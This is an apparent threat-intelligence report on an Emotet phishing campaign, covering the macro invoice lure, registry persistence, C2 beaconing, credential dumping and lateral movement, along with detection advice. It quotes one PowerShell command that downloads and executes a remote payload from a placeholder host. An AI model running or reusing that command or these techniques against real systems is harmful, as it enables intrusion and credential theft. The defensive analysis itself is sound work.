Sarah Chen — Malware Reverse Engineer
Key Takeaways
- Emotet continues to evolve, leveraging sophisticated phishing tactics to gain initial access.
- Malicious payloads are often delivered via seemingly legitimate documents, exploiting user trust.
- Detection of Emotet variants requires monitoring for anomalous behavior in network traffic and file execution patterns.
Executive Summary
In our latest investigation, we dissected a recent phishing campaign leveraging the notorious Emotet malware. This campaign exemplifies the actor’s ongoing ability to adapt and exploit organizational vulnerabilities, focusing on social engineering tactics to bypass common security measures. Our analysis revealed a sophisticated use of document macros and malicious URLs, contributing to a successful initial compromise across multiple end-user machines.
Initial Access
During the investigation, we observed that initial access was achieved through a carefully crafted email, containing an attachment that appeared to be a business invoice. The attachment, named Invoice_March_2023.docm, enticed the recipient into enabling macros to view the content. When the user enabled macros, it executed a PowerShell command that fetched the Emotet payload from a remote server. The initial command executed was similar to powershell -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://malicious-url.com/payload.ps1')".
Execution & Persistence
Upon successful execution, the payload would drop several auxiliary components, including a secondary downloader and establishing persistence mechanisms through the registry. Our analysis indicated the creation of a registry key at HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Emotet, ensuring that the malware could execute on startup. The dropped binary was obfuscated, but our deobfuscation efforts revealed its primary function as a beaconing tool designed to communicate with the actor’s control infrastructure.
Command and Control
After the initial payload was executed, it commenced communication with a remote Command and Control (C2) server. We detailed a variety of dynamic DNS services utilized by the actor, showcasing their attempts at evasion by changing C2 addresses frequently. Notably, we identified C2 communications patterns indicative of HTTP/HTTPS, where beacons were sent at regular intervals—typical for Emotet variants. The data exchanged included machine identifiers, an enumeration of local resources, and further downloader requests for more malicious payloads.
Lateral Movement & Discovery
Following the establishment of a foothold in the affected environment, lateral movement techniques were employed, primarily leveraging Windows Admin Shares and Windows Management Instrumentation (WMI). Our analysis revealed attempts to enumerate user credentials using Credential Dumping techniques, specifically targeting lsass.exe to extract login credentials. The actor effectively used these credentials to gain access to other machines on the network via PsExec, extending their reach and establishing multiple infection points within the environment.
Impact & Objectives
The main objective of this campaign appears to revolve around the deployment of additional malware families such as Ransomware and Credential Theft tools, also setting the stage for additional espionage activity. During our forensics on the compromised hosts, we uncovered indicators of the data exfiltration process, including attempts to access and steal sensitive files stored on network drives. The impact was disruptive, leading to operational downtime and potential exposure of sensitive organizational data.
MITRE ATT&CK Mapping
- T1071.001 – Application Layer Protocol: Web Protocols: Emotet used HTTP or HTTPS for communication to its C2 servers.
- T1059.001 – Command and Scripting Interpreter: PowerShell: PowerShell was used to execute the initial payload.
- T1210 – Exploitation of Remote Services: The use of WMI for lateral movement falls under this technique.
Detection Opportunities
- Implement email filtering solutions and monitor for known phishing indicators and malicious attachments.
- Monitor registry key changes for suspicious auto-start entries, particularly in
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\. - Use network traffic analysis to identify unusual HTTP/HTTPS communication to dynamic DNS or known malicious domains.
Analyst Notes
This incident highlights the persistent threat posed by Emotet and underlines the necessity for refined security practices, both at the endpoint and within the email systems. Organizations must emphasize user awareness training to tackle social engineering attempts and implement measures that restrict macro execution in documents by default. Furthermore, maintaining up-to-date threat intelligence feeds will aid in quick identification and response to emerging threats, effectively mitigating the risk of similar campaigns.
Source: Original Report